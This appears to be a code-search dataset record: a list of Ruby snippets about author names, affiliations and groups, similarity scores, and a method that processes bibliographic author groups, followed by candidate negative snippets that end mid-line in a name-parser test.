"def populate_table\n agent = Mechanize.new\n page = agent.get \"http://starwars.wikia.com/wiki/Obi-Wan_Kenobi\"\n\nbio_table = page.search(\"#Character_infobox\")\n rows = bio_table.search \"tr\"\n\n results = {}\n rows.each do |r|\n cells = r.search \"td\"\n if cells.count == 2\n key = cells.first.text.downcase.strip\n value = cells.last.text.strip\n\n results[key] = value\n end\n\n #\n # results[affiliations].value\n end\n#make affiliation table\n# if results[]\n# clubs = results[\"affiliation\"].to_a\n# clubs.each do |s|\n# Affiliation.make_affiliation s\n# end\n\nbinding.pry\n#make yourself\n nu_char = Character.new(\n name: page.search(\"#mw-content-text\").search(\"p\").search(\"b\").first,\n species: results[\"species\"],\n gender: results[\"gender\"],\n homeworld: results[\"homeworld\"],\n prelude: page.search(\"#mw-content-text\").search(\"p\").first(5),\n image_url:bio_table.search(\"tr\").search(\"td\").search(\"a\").first[\"href\"]\n )\n\n begin\n nu_char.save!\n rescue => e\n puts \"Failed to save #{nu_char} - #{e}\"\n end\n\n # #make membership table\n #make affiliation table\n # if results[\"affiliation\"]\n\n # c = results[\"affiliation\"].to_a\n # c.each do |s|\n # self.memberships.create! affiliation: s\n\n end",
"def can_disable_affiliate_branding?\n !self.invitation.nil? && \n !self.affiliate.nil? && \n (!self.subscription.trial? || !self.invitation_subscription?)\n end",
"def tag_with_company source_card\n add_trait_to_source source_card, :wikirate_company, company_names\nend",
"def service_affiliations\n iq = connection.iq_stanza({'to'=>jid.bare},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('affiliations')\n )\n )\n send_iq_stanza_fibered iq\n end",
"def populate_id\n @id = Digest::SHA256.hexdigest(@source_url).slice(0, ID_LENGTH)\n end",
"def affiliations_xml\n <<-NODE\n<iq type='result'\n from='pubsub.shakespeare.lit'\n to='francisco@denmark.lit'\n id='affil1'>\n <pubsub xmlns='http://jabber.org/protocol/pubsub'>\n <affiliations>\n <affiliation node='node1' affiliation='owner'/>\n <affiliation node='node2' affiliation='owner'/>\n <affiliation node='node3' affiliation='publisher'/>\n <affiliation node='node4' affiliation='outcast'/>\n <affiliation node='node5' affiliation='member'/>\n <affiliation node='node6' affiliation='none'/>\n </affiliations>\n </pubsub>\n</iq>\n NODE\nend",
"def fix_name\n\t if not self.name\n\t self.name = self.url\n end\n\tend",
"def cud_response_to_qa(data)\n resp = {}\n data['attributes'].each do |field|\n if Cud.fields.has_key?(field[\"name\"])\n resp[Cud.fields[field[\"name\"]]] = field[\"value\"]\n end\n end\n # Data['attributes'] no longer has affiliation information. They are passed seperately\n aff = []\n if data.fetch('affiliations', nil) && data['affiliations'].any?\n data['affiliations'].each do |field|\n # field has the following keys - source, affiliation, status, startDate, endDate, lastUpdated, dateAdded\n # The affiliations have endDate. If endDate < today - 1 year, we should not use that affiliation\n endDate = Time.parse(field['endDate'][\"$date\"]) rescue nil\n if field['source'] != \"UAS_DARS\" && endDate && endDate > Time.now.ago(1.year)\n aff.push(field[\"affiliation\"])\n end\n end\n end\n if !aff.empty?\n val = aff.max_by(&:length)\n resp[\"current_affiliation\"] = val\n else\n resp[\"current_affiliation\"] = \"\"\n end\n #TODO: If there are no affiliations, we should not use that person\n resp\n end",
"def associated_with_affiliate?(aff_id)\n (aff_id == @data_object.user_affiliate) ||\n role_assoc_with_affiliate?(aff_id)\n end",
"def init_referrer_code\n self.referrer_code = UUIDTools::UUID.random_create.to_s if referrer_code.blank?\n end",
"def unique_id\n \"name-#{@language_id}-#{@name_id}\"\n end",
"def cm_affiliation_type(value)\n value = Array(value).first\n if value.blank? || value == 'Emory University'\n cm_affiliation_options[0]\n else\n cm_affiliation_options[1]\n end\n end",
"def affiliate_url\n apparel_item.product_url\n end",
"def calculate_unique_hash\n unique = ''\n unique += self.content if self.content.present?\n unique += self.summary if self.summary.present?\n unique += self.title if self.title.present?\n self.unique_hash = Digest::MD5.hexdigest unique\n end",
"def create\n @affiliate = Affiliate.new(params[:affiliate])\n\n respond_to do |format|\n if @affiliate.save\n flash[:notice] = 'Affiliate was successfully created.'\n format.html { redirect_to(@affiliate) }\n format.xml { render :xml => @affiliate, :status => :created, :location => @affiliate }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @affiliate.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def initialize(data_object = nil)\n @data_object = data_object || fresh_affiliate\n end",
"def generate_zotero_defaults\n xml = Nokogiri::XML(@datastreams[\"zotero\"]) \n id_hash = {}\n # no public or private tag -> private per tcramer, 11/28\n id_hash[\"access_display\"] ||= [\"Private\"]\n id_hash[\"access_facet\"] ||= [\"Private\"]\n id_hash[\"public_b\"] ||= ['false'] \n id_hash[\"identifiers_s\"] ||= [@pid]\n id_hash[\"identifiers_t\"] ||= [@pid]\n \n xml.search(\"//dcterms:LCC\").each do |id| \n id_hash[\"identifiers_s\"] << id.content.strip\n id_hash[\"identifiers_t\"] << id.content.strip\n end\n \n series = \"Accession 2005-101\"\n id_hash[\"identifiers_s\"].each do |id|\n if id.include?(\"SC340_1986\") \n series = \"Accession 1986-052\"\n end\n end\n \n [\"facet\", \"display\", \"s\", \"t\", \"sort\"].each {|v| id_hash[\"series_#{v}\"] ||= []; id_hash[\"series_#{v}\"] << series }\n return id_hash\n end",
"def valid?(json: {})\n return false unless json.present?\n\n id = json.fetch(:affiliation_id, json.fetch(:funder_id, {}))[:identifier]\n json[:name].present? || id.present?\n end",
"def get_aphorisms\n Author.all.each do |author|\n site_author = get_html(\"http://www.aphorism4all.com/\" + author.url)\n site_author.css('#content strong').each do |node|\n aphorism = node.inner_text.strip\n unless aphorism =~ /^Pages/\n author.aphorisms.find_or_create_by(aphorism: aphorism)\n end\n end\n end\nend",
"def assign_corporate_names(cns)\n\n cns.select! { |name| !name.blank? }\n\n if cns.length < self.corporate_name.length\n node_count = self.corporate_name.length - cns.length\n trim_nodes_from_zero(:corporate_name, node_count)\n end\n\n cns.each_with_index do |c_name, index|\n if self.corporate_name[index].nil?\n self.insert_new_node(:corporate_name)\n end\n\n self.corporate_name(index).name_part = c_name\n end\n end",
"def affiliate_class\n self.class.affiliate_class\n end",
"def social_title(image)\n name = image.name\n if !name.blank?\n name\n elsif domain = product_domain(image)\n \"LifeSizer image on #{domain}\"\n else\n \"LifeSizer image\"\n end\n end",
"def person_construct( index, fn, ln, cid, dept, institution, type = nil )\n\n person = {\n index: index,\n givenName: fn,\n familyName: ln,\n nameType: 'Personal'\n }\n person[:contributorType] = type if type.present?\n if institution.present?\n person[:affiliation] = {name: institution}\n end\n\n if cid.present?\n person[:affiliation] = UVA_AFFILIATION\n\n # if person has a ORCID account\n orcid_status, orcid_attribs = ServiceClient::OrcidAccessClient.instance.get_attribs_by_cid(cid)\n\n if orcid_attribs['uri'].present?\n orcid_uri = URI(orcid_attribs['uri'])\n person[:nameIdentifiers] = {\n schemeUri: \"https://#{orcid_uri.host}\",\n nameIdentifier: orcid_attribs['uri'],\n nameIdentifierScheme: \"ORCID\"\n }\n elsif orcid_status > 300\n Rails.logger.warn \"#{orcid_status} ORCID response during DataCite payload #{orcid_attribs}\"\n end\n end\n\n\n return person\n\n end",
"def nyc_pigeon_organizer_two(data)\n# MAP will return a changed value, EACH will return original\n\n # coerce each name as the key in the hash\n #access all names\n #names - ['']\n # unique list of names\n names = data.values[0].values.flatten.uniq\n\n # use name as key in hash - fill in with scaffold hash\n initial_structure = names.each_with_object ({}) do |name, hash|\n hash[name] = {color: [], gender: [], lives:[]}\n end\n\n names.each_with_object(initial_structure) do |pigeon, my_initial_structure|\n attributes = data.keys\n attributes.each do |attribute|\n data[attribute].each do |value, names|\n if names.include?(pigeon)\n my_initial_structure[pigeon][attribute] << value.to_s\n end\n end\n end\n end\n\n\nend",
"def type\n @type ||= @data[:edupersonaffiliation].last\n end"
] |
[
"0.6552755",
"0.63314086",
"0.6319816",
"0.6306494",
"0.6286656",
"0.6192693",
"0.6044704",
"0.6001544",
"0.5920927",
"0.5915045",
"0.58951914",
"0.5835764",
"0.5796683",
"0.57721776",
"0.575169",
"0.56669104",
"0.5664022",
"0.54773456",
"0.5442214",
"0.5425252",
"0.54157853",
"0.54092425",
"0.54092425",
"0.5402378",
"0.5386208",
"0.5357577",
"0.5355515",
"0.53415513",
"0.5331857",
"0.5317272",
"0.53127354",
"0.53020847",
"0.5247264",
"0.5240569",
"0.5239136",
"0.5237848",
"0.51922464",
"0.5158374",
"0.51543486",
"0.5154007",
"0.5086606",
"0.5064153",
"0.5054917",
"0.50443393",
"0.50429374",
"0.5017009",
"0.50002027",
"0.49916825",
"0.49910748",
"0.4980136",
"0.4969783",
"0.4961457",
"0.49603757",
"0.49484566",
"0.4938832",
"0.4931967",
"0.49319386",
"0.49296394",
"0.49097782",
"0.4906232",
"0.4903386",
"0.48955196",
"0.48770553",
"0.4873462",
"0.4872922",
"0.48589134",
"0.4858826",
"0.48520106",
"0.48470962",
"0.484194",
"0.48278436",
"0.4826443",
"0.48240006",
"0.4818692",
"0.48045284",
"0.4797693",
"0.4788972",
"0.4781509",
"0.4768487",
"0.47585028",
"0.4756105",
"0.47368106",
"0.4728143",
"0.47043064",
"0.47025415",
"0.46911553",
"0.46910042",
"0.4684165",
"0.46784315",
"0.46775877",
"0.4671387",
"0.4664789",
"0.4661961",
"0.46525574",
"0.46423325",
"0.46334597",
"0.46332517",
"0.4633178",
"0.46324438",
"0.46312097"
] |
0.6663589
|
0
|
Author groups gives us information about the authors groups as appears on the head. Could be useful to retrieve information about missing affilitations Authorgroups with authors duplicated are eliminated
|
def process_author_groups
author_groups_temp=xml.xpath("//bibrecord/head/author-group").map do |ag|
process_one_author_group(ag)
end
#authors_list= []
@author_groups=author_groups_temp
# @author_groups=[]
# author_groups_temp.each do |ag|
# @author_groups.push(ag) unless ag[:authors].any? {|author| authors_list.include? author}
# authors_list=authors_list | ag[:authors]
# end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def authors\n return [] if @feed.channel.managingEditor.nil? && @feed.channel.dc_publishers.empty?\n [@feed.channel.managingEditor, ((@feed.channel.dc_publishers.empty?) ? nil : @feed.channel.dc_publishers.collect{|dcp| dcp.content})].flatten.uniq.compact.reject{|au| au == '' || au.match(/^\\s+$/)}\n end",
"def getAuthors(metaEls, role)\n result = metaEls.map { |el|\n if el.name == \"organization\"\n { name: el.text, organization: el.text }\n elsif %w{author editor advisor}.include?(el.name)\n data = { name: formatAuthName(el) }\n el.children.each { |sub|\n text = sub.text.strip\n next if text.empty?\n data[(sub.name == \"identifier\") ? (sub.attr('type') + \"_id\").to_sym : sub.name.to_sym] = text\n }\n data && !data[:name].nil? ? data : nil\n else\n raise(\"Unknown element #{el.name.inspect} within UCIngest authors\")\n end\n }.select{ |v| v }\n role != \"author\" and result.each { |data| data[:role] = role }\n return result\nend",
"def authors\n if self.channel.generator == 'Twitter'\n return [@item.title.split(':')[0]]\n end\n [@item.author, ((@item.dc_creators.empty?) ? nil : @item.dc_creators.collect{|c| c.content})].flatten.uniq.compact.reject{|au| au == '' || au.match(/^\\s+$/)}\n end",
"def show_authors(result)\n author_array = []\n if result['Items'].present?\n flag = 0\n authorString = []\n result['Items'].each do |item|\n if item['Group'].present?\n if item['Group'] == \"Au\"\n # let Don and Michelle know what this cleaner function does\n newAuthor = processAPItags(item['Data'].to_s)\n # i'm duplicating the semicolor - fix\n newAuthor.gsub!(\"<br />\", \"; \")\n authorString.push(newAuthor)\n flag = 1\n end\n end\n end\n if flag == 1\n return truncate_article authorString.join(\"; \").html_safe\n end\n end\n contributors = result.fetch('RecordInfo', {}).fetch('BibRecord', {}).fetch('BibRelationships', {}).fetch('HasContributorRelationships', [])\n if not contributors.empty?\n contributors.each do |contributor|\n namefull = contributor.fetch('PersonEntity', {}).fetch('Name', {}).fetch('NameFull', nil)\n if namefull\n url_vars = {\"q\" => '\"' + namefull.gsub(\",\", \"\").gsub(\"%2C\", \"\").to_s + '\"', \"search_field\" => \"author\"}\n link2 = generate_next_url_newvar_from_hash(url_vars)\n author_link = '<a href=\"' + request.fullpath.split(\"?\")[0] + \"?\" + link2 + '\">' + namefull.to_s + '</a>'\n author_array.push(author_link)\n end\n\n end\n return author_array.join(\"; \").html_safe\n end\n return ''\n end",
"def authors\n ret = {}\n @doc.css('map authors').children.each do |ch|\n uuid = ch.attr('uuid')\n role = ch.attr('role')\n next if uuid.blank?\n ret[uuid.gsub('-', '')] = ''\n if !role.blank?\n ret[uuid] = \" <i>(#{role})</i>\"\n end\n end\n ret\n end",
"def get_author_group(project_id, author_group_id)\n get \"projects/#{project_id}/group/author/#{author_group_id}\"\n end",
"def group_contributors(exact = false)\n acl.get_groups_with_role(AlbumACL::CONTRIBUTOR_ROLE, exact)\n end",
"def authors\n authors = []\n @pubmed['AU'].strip.split(/\\n/).each do |author|\n name = author.split(/\\s+/)\n suffix = \"\"\n if name.length > 2 && name[-2] =~ /^[A-Z]+$/\n suffix = name.pop\n end\n initials = name.pop\n author = {\n \"last_name\" => name[0] || \"\", \n \"fore_name\" => initials || \"\", \n \"initials\" => initials || \"\", \n \"suffix\" => suffix || \"\",\n }\n authors.push(author)\n end\n fau = @pubmed['FAU'].strip.split(/\\n/)\n fau.each_index do |index|\n last = authors[index][\"last_name\"]\n suffix = authors[index][\"suffix\"]\n fore = fau[index].gsub(/^#{last},\\s+/, \"\").gsub(/\\s+#{suffix}$/, \"\")\n authors[index][\"fore_name\"] = fore || \"\"\n end\n return authors\n end",
"def get_authors\n @branches.collect(&:author_names).flatten.uniq.sort_by { |k| k.downcase }\n end",
"def getAuthors(indexMeta, rawMeta)\n # If not UC-Ingest formatted, fall back on index info\n if !rawMeta.at(\"/record/authors\")\n return indexMeta.multiple(\"creator\").map { |name| {name: name} }\n end\n\n # For UC-Ingest, we can provide more detailed author info\n rawMeta.xpath(\"/record/authors/*\").map { |el|\n if el.name == \"organization\"\n { name: el.text, organization: el.text }\n elsif el.name == \"author\"\n data = { name: formatAuthName(el) }\n el.children.each { |sub|\n if sub.name == \"identifier\"\n data[(sub.attr('type') + \"_id\").to_sym] = sub.text\n else\n data[sub.name.to_sym] = sub.text\n end\n }\n data\n else\n raise(\"Unknown element #{el.name.inspect} within UCIngest authors\")\n end\n }\nend",
"def authors\n @authors\n end",
"def authors\n @authors ||= begin\n auths = entries.map {|e| e[:author]}.uniq\n auths.inject({}) {|acc, a| acc[a] = SvnLog::COLORS.next; acc}\n end\n end",
"def render_authors_list\n parts = []\n\n first_three = self.authors.slice(0,3)\n\n first_three.each_with_index do |author, index|\n parts << _h.content_tag(\"span\", :class => \"author\") do\n self.author_display(author)\n end\n if (index + 1) < first_three.length\n parts << \"; \"\n end\n end\n\n if self.authors.length > 3\n parts << I18n.t(\"bento_search.authors_et_al\")\n end\n\n return _h.safe_join(parts, \"\")\n end",
"def show_all_authors\n @all = []\n search_techcrunch[\"articles\"].each do |article|\n @all << article[\"author\"]\n end\n unique_array = @all.uniq!.sort\n puts \"#{dashes}\\n\"\n unique_array.each_with_index do |author, index| puts \"#{index+1}. #{author}\"\n end\n return nil\n end",
"def authors()\n authors_or_editors(@text[:author].to_names) if @text[:author]\n end",
"def author_names\n\t\treturn self.authors.map do |author|\n\t\t\tauthor[ /^(.*?) </, 1 ]\n\t\tend\n\tend",
"def show_groups\n content = Accio::Parser.read\n content.groups.each do |group|\n puts \"#{group.title}\\n\"\n end\n end",
"def contact_groups_represented\n @contact_groups_represented ||= contacts.map(&:contact_groups).flatten.uniq\n end",
"def authors\n nodes = @node.xpath(\"atom:author\", ::AtomFeed::NS) || []\n nodes.map { |node| AtomPerson.new(node) }\n end",
"def contact_groups_represented\n @contact_groups_represented ||= contacts.map(&:contact_groups).flatten.uniq\n end",
"def authors\n nodes = @doc.xpath(\"atom:feed/atom:author\", ::AtomFeed::NS) || []\n nodes.map { |node| AtomPerson.new(node) }\n end",
"def groups\n return @groups if @groups\n return [] if uid.nil?\n\n codes = [\"student\"]\n res = Group.where(code: codes)\n # add eduPersonAffiliation (e.g. student, faculty, staff) to groups that the user is a member of\n @groups = res + affiliations.map{ |code| Group.new(:code=>code) }\n end",
"def authors\n space_users.all({ :role.not => :member }).collect { |m| m.user }\n end",
"def authors\n document.search(\"[@id='bookAuthors']/[@itemprop='author']/a/span\").map { |elem| elem.innerHTML.strip } rescue []\n end",
"def crossref_authors\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.contributors {\n authors.each_with_index do |author, index|\n given_name = author.given_name\n surname = author.last_name\n orcid = author.orcid\n if index == 0\n sequence = \"first\"\n else\n sequence = \"additional\"\n end\n xml.person_name(:sequence => sequence, :contributor_role => \"author\") {\n xml.given_name given_name.encode(:xml => :text)\n if surname.nil?\n xml.surname \"No Last Name\".encode(:xml => :text)\n else\n xml.surname surname.encode(:xml => :text)\n end\n xml.ORCID \"http://orcid.org/#{author.orcid}\" if !orcid.nil?\n }\n end\n }\n end\n\n return builder.doc.xpath('//contributors').to_xml\n end",
"def authors\n @authors ||= pairs.keys.sort\n end",
"def fetch_groups!\n ldap_groups.map do |dn|\n /^cn=([^,]+),/i.match(dn)[1]\n end\n end",
"def authors_list\n self.authors.split(\"\\n\").delete_if { |a| a.blank? }.map { |a| a.strip }\n end",
"def authors\n bib_authors || get_item_data_by_name('Author')\n end",
"def authors\n @authors ||= []\n end",
"def authors\n\t\t\t@db.js('musicthoughts.top_authors(NULL)')\n\t\tend",
"def groups_links\n noko.css('div.toc li a').partition { |a| a.attr('href').include? CEASED_MEMBERS_URL }\n end",
"def groups\r\n @groups ||= fetch_groups\r\n end",
"def authors\n author\n end",
"def authors\n map { |comment| comment.author.to_s }.uniq.sort\n end",
"def subauthorities\n SUBAUTHORITIES.keys\n end",
"def get_authors(authors)\n Array.wrap(authors).map { |author| get_one_author(author) }.compact\n end",
"def get_authors(authors)\n Array.wrap(authors).map { |author| get_one_author(author) }.compact\n end",
"def co_author_list \n if self.first_author \n list = [self.first_author]\n list.concat self.coauthors.reject{|ca|ca ==self.first_author}\n return list\n else\n return self.coauthors\n end\n end",
"def all_groups\n groups + [organization]\n end",
"def test_authors\n auths = [\n \"Jepson, J.E.,Makarkin, V.N., & Jarzembowski, E.A.\", # 0\n \"Ren, D & Meng, X-m.\", # 1\n \"Ren, D and Meng, X-m.\", # 2\n \"Smith, J.H. and Jones, Y.K.\", # 3 \n \"Thomas jr. D.B.\", # 4\n \"Wighton, D.C., & Wilson, M.V.H.\", # 5\n \"Heyden, C.H.G. von & Heyden, L.F.J.D. von\", # 6 \n \"Zhang, B., et al.\", # 7\n \" Zhang, J.F. \", # 8\n \"Hong, Y-C.\", # 9 \n \"Yan, E.V.\", # 10\n \"Foo A, Bar ZA, Smith-Blorf A\", # 11\n \"Smith and Barnes\", # 12\n \"Smith & Barnes\", # 13 \n \"Smith\", # 14 \n \"Smith, Jones and Simon\", # 15\n \"Van Duzee\", # 16\n \"Walker, F.\", # 17\n \"Watson, T. F., D. Langston, D. Fullerton, R. Rakickas, B. Engroff, R. Rokey, and L. Bricker\", # 18\n \"Wheeler, A. G., Jr. and T. J. Henry.\", # 19\n \"Wheeler, A. G., Jr., B. R. Stinner, and T. J. Henry\", # 20\n \"Wilson, L. T. and A. P. Gutierrez\", # 21\n \"Torre-Bueno, J. R. de la\", # 22\n \"Vollenhoven, S. C. S.\", # 23\n \"Usinger, R. L. and P. D. Ashlock\", # 24\n \"van den Bosch, R. and K. Hagen\", # 25\n \"Slater, J. A. and J. E. O'Donnell\", # 26\n \"O'Donnell, J.E. and Slater, J. A.\", # 27\n \"Van Steenwyk, R. A., N. C. Toscano, G. R. Ballmer, K. Kido, and H. T. Reynolds\", # 28\n \"Ward, C. R., C. W. O'Brien, L. B. O'Brien, D. E. Foster, and E. W. Huddleston\", # 29\n \"McPherson, R. M., J. C. Smith, and W. A. Allen\", # 30\n \"Oatman, E. R., J. A. McMurty, H. H. Shorey, and V. Voth\", # 31\n \"Ferrari, E. von \", # 32\n \"Whitaker J. O., Jr., D. Rubin and J. R. Munsee\", # 33\n \"Palisot de Beauvois, A. M. F. J.\", # 34\n \"Maa, T.-C. and K.-S. Lin\", # 35\n \"Costa Lima, A. M. da, C. A. Campos Seabra, and C. R. Hathaway\", # 36\n \"Falcon, L. A., R. van den Bosch, C. A. Ferris, L. K. Stromberg, L. K. Etzel, R. E. Stinner, and T. F. Leigh\", # 37\n \"Kinzer, R. E., J. W. Davis, Jr., J. R. Coppedge, and S. L. Jones\", # 38\n \"Doesburg, P. H. van, Jr. \", # 39\n \"Arias J. R., Young D. G.\" # 40 \n ]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[40])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal ['Arias', 'Young'], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{J R}, %w{D G}] , t.names[0..1].collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[39])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal ['Doesburg'], t.names.collect{|n| n[:last_name] }\n assert_equal \"van Jr.\", t.names[0][:suffix]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[38])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal ['Kinzer', 'Davis', 'Coppedge', 'Jones'], t.names.collect{|n| n[:last_name] }\n assert_equal \"Jr.\", t.names[1][:suffix]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[37])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal ['Falcon', 'van den Bosch', 'Ferris', 'Stromberg', 'Etzel', 'Stinner', 'Leigh'], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{L A}, %w{R}, %w{C A}] , t.names[0..2].collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[36])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal ['Costa Lima', 'Campos Seabra', 'Hathaway'], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{A M}, %w{C A}, %w{C R}] , t.names.collect{|n| n[:initials] }\n assert_equal \"da\" , t.names.first[:suffix]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[35])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal ['Maa', 'Lin'], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{T -C}, %w{K -S}] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[32])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal ['Ferrari'], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{E}] , t.names.collect{|n| n[:initials] }\n assert_equal ['von'] , t.names.collect{|n| n[:suffix] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[31])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal ['Oatman', 'McMurty', 'Shorey', 'Voth'], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{E R}, %w{J A}, %w{H H}, %w{V}] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[30])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"McPherson\", \"Smith\", \"Allen\"], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{R M}, %w{J C}, %w{W A}] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[29])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Ward\", \"O'Brien\", \"O'Brien\", \"Foster\", \"Huddleston\" ], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{C R}, %w{C W}, %w{L B}, %w{D E}, %w{E W}] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[28])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Van Steenwyk\", \"Toscano\", \"Ballmer\", \"Kido\", \"Reynolds\" ], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{R A}, %w{N C}, %w{G R}, %w{K}, %w{H T}] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[27])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"O'Donnell\", \"Slater\" ], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"J\", \"E\"],[\"J\", \"A\"]] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[26])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Slater\", \"O'Donnell\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"J\", \"A\"],[\"J\", \"E\"]] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[25])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"van den Bosch\", \"Hagen\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"R\"],[\"K\"]] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[24])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Usinger\", \"Ashlock\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"R\", \"L\"],[\"P\", \"D\"]] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[23])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Vollenhoven\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"S\", \"C\", \"S\"]] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[22])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Torre-Bueno\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"J\", \"R\"]] , t.names.collect{|n| n[:initials] }\n assert_equal \"de la\", t.names.first[:suffix]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[21])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Wilson\", \"Gutierrez\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"L\", \"T\"], [\"A\", \"P\"]] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[20])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Wheeler\", \"Stinner\", \"Henry\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"A\", \"G\"], [\"B\", \"R\"], [\"T\", \"J\"]] , t.names.collect{|n| n[:initials] }\n assert_equal \"Jr.\", t.names.first[:suffix]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[19])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Wheeler\", \"Henry\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"A\", \"G\"], [\"T\", \"J\"]] , [t.names.first[:initials], t.names.last[:initials]]\n assert_equal \"Jr.\", t.names.first[:suffix]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[18])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Watson\", \"Langston\", \"Fullerton\", \"Rakickas\", \"Engroff\", \"Rokey\", \"Bricker\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"T\", \"F\"], [\"L\"]] , [t.names.first[:initials], t.names.last[:initials]]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[17])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 1, t.names.size\n assert_equal \"Walker\", t.names[0][:last_name]\n assert_equal [\"F\"], t.names[0][:initials]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[16])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 1, t.names.size\n assert_equal \"Van Duzee\", t.names[0][:last_name]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[15])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 3, t.names.size\n assert_equal \"Smith\", t.names[0][:last_name]\n assert_equal \"Jones\", t.names[1][:last_name]\n assert_equal \"Simon\", t.names[2][:last_name]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[14])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 1, t.names.size\n assert_equal \"Smith\", t.names[0][:last_name]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[13])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 2, t.names.size\n assert_equal \"Smith\", t.names[0][:last_name]\n assert_equal \"Barnes\", t.names[1][:last_name]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[12])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 2, t.names.size\n assert_equal \"Smith\", t.names[0][:last_name]\n assert_equal \"Barnes\", t.names[1][:last_name]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[0])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 3, t.names.size\n assert_equal \"Jepson\", t.names[0][:last_name]\n assert_equal \"JE\", t.names[0][:initials].join\n assert_equal \"Jarzembowski\", t.names[2][:last_name]\n assert_equal \"EA\", t.names[2][:initials].join\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[1])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 2, t.names.size\n assert_equal \"Ren\", 